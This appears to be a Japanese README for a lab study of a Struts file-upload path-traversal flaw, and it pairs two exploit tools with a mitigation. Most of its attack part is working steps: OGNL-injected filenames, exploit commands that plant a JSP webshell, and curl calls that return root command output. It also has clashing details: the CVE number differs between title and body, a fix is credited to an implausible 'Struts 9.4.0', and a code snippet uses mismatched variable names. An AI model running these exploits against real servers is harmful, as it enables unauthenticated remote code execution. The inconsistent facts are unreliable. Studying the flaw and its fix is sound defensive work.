
CVE-2024-53667のエクスプロイトオプションとその修正に関する調査
この欠陥は、StrutsのFileUploadInterceptorがアップロードされたファイル名をアクションクラスに引き渡す方法にあります。通常、インターセプターはファイル名をサニタイズしますが、Strutsでは任意のマルチパートパラメータがParametersInterceptorによってOGNL式として処理されることも許可しています。フォームフィールドとしてtop.UploadFileName(またはマルチファイルアクションの場合はuploadFileName[0])を送信すると、OGNL経由で直接action.setUploadFileName(value)が呼び出され、インターセプターが設定した値を上書きします。
その後、アクションはパスのサニタイズなしでファイルを書き込みます:
String uploadDir = "webapps/ROOT/uploads"; // relative to Tomcat CWD /usr/local/tomcat/
File destFile = new File(uploadDirectory, uploadFileName); // no sanitization
ファイル名として../shell.jspを送信すると、次のように解決されます:
/usr/local/tomcat/webapps/ROOT/uploads/../shell.jsp
= /usr/local/tomcat/webapps/ROOT/shell.jsp ← http://localhost:8080/shell.jsp で提供される
そこにJSPウェブシェルをアップロードすると、認証なしでRCEが可能になります。
この脆弱性に関して、2つのエクスプロイトが研究されています:
両方のエクスプロイトのターゲットとして使用されるLab Tomcatアプリケーションサーバーは、最初のリポジトリから取得され、コンテナ(dockerまたはpodman)で実行されます。
このリポジトリには、2番目のソースに由来するpoc.pyのJava版として別のエクスプロイトが提供されています。
2つのエクスプロイトの微妙な違いは、このドキュメントの最後にある比較表に示されています。
両方のエクスプロイトはStruts 6.3.0.2で動作することが確認されています。
しかし、Strutsを6.8.0または6.9.0にアップグレードすると、最初のエクスプロイト(CVE-2024-53677.py)は動作しなくなりました。これはStruts 9.4.0での修正によるものです。
2番目のエクスプロイト(StrutsExploitRunner)は、6.3.0.2、6.8.0、6.9.0のすべてのバージョンで動作します。ただし、後述の「軽減策」のセクションで推奨されているように、脆弱性のあるアプリケーションコードが更新されていない場合に限ります。
調査の技術的詳細は以下を参照してください。
最初のリポジトリをクローンし、そのルートディレクトリに移動します:
git clone https://github.com/EQSTLab/CVE-2024-53677
cd CVE-2024-53677
エクスプロイト対象のLab Tomcatをビルドして実行するには、docker(元々)またはpodman(当社の調査で使用)が必要です:
cd docker
podman build --ulimit nofile=122880:122880 -m 3G -t exploit .
podman run -p 8080:8080 --ulimit nofile=122880:122880 -m 3G --rm -it --name exploit exploit
以下の説明に従って、リポジトリのルートディレクトリから別のシェルでPython仮想環境を有効にしてエクスプロイトスクリプトを実行します。
top.UploadFileNameを使用してパストラバーサルファイル名を注入し、JSPウェブシェルを/upload.actionにアップロードします。ハードコードされたウェブシェルは、?action=cmd&cmd=<command>を介してコマンドを受け付けます。
python CVE-2024-53677.py -u http://localhost:8080/upload.action -p ../shell.jsp
-pはtop.UploadFileNameとして渡される値です。../1つでuploads/ディレクトリを脱出し、ファイルをWebルートに配置できます。
curl "http://localhost:8080/shell.jsp?action=cmd&cmd=id"
# uid=0(root) gid=0(root) groups=0(root)
必須のaction=cmdパラメータに注意してください。ハードコードされたウェブシェルは、コマンドを実行する前にこれをチェックします。これがないと、出力の代わりにUnknown action.が返されます。
python CVE-2024-53677.py \
-u http://localhost:8080/upload.action \
-p ../shell.jsp \
-f ./my_payload.jsp
/uploads.action(マルチファイルバリアント)をターゲットとし、OGNL経由でuploadFileName[0]をパストラバーサル値に設定します。同じ基本的なバイパス手法ですが、パラメータ名とアクションクラスが異なります。
エクスプロイトをビルドして実行するには、JDK 17以降が必要です(javaバイナリがPATHに含まれている必要があります)。
このリポジトリのルートで次のコマンドを実行して、実行可能なuber-jarをビルドします:
./mvnw clean package
java -jar target/exploit-1.0-SNAPSHOT.jar \
-u http://localhost:8080 \
--upload_endpoint /uploads.action \
--paths .. \
--filenames shell.jsp
--filenamesはファイル名を固定するので、フェッチする場所がわかります。指定しないと、スクリプトはランダムな名前を生成し、それが出力に表示されます。
このアプリケーションによってアップロードされたウェブシェルは、よりシンプルな?cmd=インターフェースを使用します:
curl "http://localhost:8080/shell.jsp?cmd=id"
# uid=0(root) gid=0(root) groups=0(root)
正規の修正はStruts 7.xにアップグレードすることです。これによりファイルアップロードメカニズムが完全に再設計されました。そのアップグレードが妨げられている場合(JDK 8互換性、サードパーティの依存関係の制約)、以下の軽減策を適用できます。
これは最も堅牢な修正です。なぜなら、どのインターセプターが渡すものに関係なく機能するからです。宛先パスを構築する前に、ファイル名からすべてのパスコンポーネントを除去し、解決されたパスが意図されたディレクトリ内にあることを確認します。
import java.nio.file.Paths;
public String doUpload() {
if (upload != null && upload.length() > 0) {
try {
File uploadDirectory = new File("/var/app/uploads");
if (!uploadDirectory.exists()) uploadDirectory.mkdirs();
// Strip any path components the attacker injected via top.UploadFileName
String safeFileName = Paths.get(uploadFileName).getFileName().toString();
File destFile = new File(uploadDirectory, safeFileName);
// Confirm the resolved path is still inside the upload directory
String canonicalDest = destFile.getCanonicalPath();
String canonicalBase = uploadDirectory.getCanonicalPath();
if (!canonicalDest.startsWith(canonicalBase + File.separator)) {
addActionError("Invalid upload path.");
return ERROR;
}
// ... copy bytes as before
Paths.get("../shell.jsp").getFileName()はshell.jspを返すため、top.UploadFileNameがトラバーサル文字列を配信しても、I/Oが発生する前にプレーンなファイル名に縮小されます。
同じパターンがUploadsActionにも適用されます。forループ内で各uploadFileName.get(i)に適用してください。
| CVE-2024-53677.py | StrutsExploitRunner | |
|---|---|---|
| エンドポイント | /upload.action | /uploads.action |
| OGNLパラメータ | top.UploadFileName | uploadFileName[0] |
| アクションクラス | UploadAction(単一ファイル) | UploadsAction(マルチファイル) |
| ウェブシェルの呼び出し方 | ?action=cmd&cmd=<cmd> | ?cmd=<cmd> |
| デフォルトパスの問題 | なし | --pathsのデフォルトは深すぎるため、..で上書きしてください |